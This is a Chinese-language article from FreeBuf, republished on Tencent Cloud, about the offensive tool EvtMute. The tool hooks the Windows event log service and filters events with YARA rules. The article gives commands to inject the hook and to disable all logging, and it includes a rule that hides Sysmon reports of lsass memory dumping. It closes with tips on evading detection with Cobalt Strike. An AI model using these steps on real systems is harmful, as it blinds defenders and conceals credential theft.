前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >如何使用EvtMute对Windows事件日志进行筛选过滤

如何使用EvtMute对Windows事件日志进行筛选过滤

作者头像
FB客服
发布2021-03-09 14:50:00
8720
发布2021-03-09 14:50:00
举报
文章被收录于专栏:FreeBuf

写在前面的话

在这篇文章中,我们将告诉大家如何使用EvtMute来对Windows事件日志进行筛选过滤。EvtMute这款工具允许我们使用YARA来进行攻击性操作,并对已经报告给Windows事件日志的事件进行过滤和筛选。

工具下载

广大研究人员可以使用下列命令将该项目克隆至本地:

代码语言:javascript
复制
git clone https://github.com/bats3c/EvtMute

或者,大家也可以直接点击底部【阅读原文】访问该项目的Releases也买你来下载最新的EvtMute已编译版本。

工具使用

EvtMuteHook.dll中包含的是该工具的核心功能,成功注入之后,它将会应用一个临时过滤器,允许报告所有事件,这个过滤器可以动态更新,而不必重新注入。而SharpEvtMute.exe则是一个C#程序集,它可以通过在shad0w中执行或在Cobalt Strike中轻松运行程序集。为了更好地与shad0w集成,我还打算用C编写原生版本。

禁用日志记录

最常见的EvtMute使用场景就是禁用系统范围内的事件日志记录了,此时我们可以应用下列Yara规则:

代码语言:javascript
复制
rule disable { condition: true }

此时,我们首先需要通过向事件(event)服务中注入钩子:

代码语言:javascript
复制
.\SharpEvtMute.exe --Inject

钩子设置好之后,我们就可以开始添加过滤器了:

代码语言:javascript
复制
.\SharpEvtMute.exe --Filter "rule disable { condition: true }"

现在,event服务将会忽略所有的事件。

复杂型过滤器

EvtMute的过滤器是可以动态变更的,而且无需重新注入钩子,这样可以方便广大研究人员随时轻松更新原有的过滤器以及过滤规则。

更加复杂的过滤器示例如下,它能够它能够阻止sysmon报告与lsass内存转储相关的事件:

代码语言:javascript
复制
rule block_lsass_dump {

    meta:

        author = "@_batsec_"

        description = "Prevent lsass dumping being reported by sysmon"

    strings:

        $provider = "Microsoft-Windows-Sysmon"

        $image = "lsass.exe" nocase

        $access = "GrantedAccess"

        $type = "0x1fffff"

    condition:

        all of them

}

像这样复杂的Yara规则,我们很难去将其浓缩成一行“代码”,这也就是为什么我在EvtMute中添加了Base64编码功能。

这个规则可以使用Linux命令行终端轻松转换为Base64编码规则:

代码语言:javascript
复制
base64 -w 0 YaraFilters/lsassdump.yar | echo $(</dev/stdin)

接下来,可以使用—Encoded选项将其传递给过滤器:

操作安全注意事项

注入钩子时,SharpEvtMute.exe将会调用CreateRemoteThread,而且这个调用是在钩子设置之前进行的,因此它会被Sysmon捕捉并报告,这是因为SharpEvtMute.exe文件只能用作PoC。因此,我建议大家手动将EvtMuteHook.dll注入到事件日志服务之中。

它的进程PID可以通过运行下列命令来查看,你还可以通过C2框架来将钩子手动注入至shellcode中。

值得一提的是,钩子将使用命名管道来更新过滤器,命名的管道名为EvtMuteHook_Rule_Pipe。

项目地址

EvtMute:点击底部【阅读原文】获取

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2021-02-12,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 FreeBuf 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 写在前面的话
  • 工具下载
  • 工具使用
    • 禁用日志记录
    • 复杂型过滤器
    • 操作安全注意事项
    • 项目地址
    相关产品与服务
    日志服务
    日志服务(Cloud Log Service,CLS)是腾讯云提供的一站式日志服务平台,提供了从日志采集、日志存储到日志检索,图表分析、监控告警、日志投递等多项服务,协助用户通过日志来解决业务运维、服务监控、日志审计等场景问题。
    领券
    问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档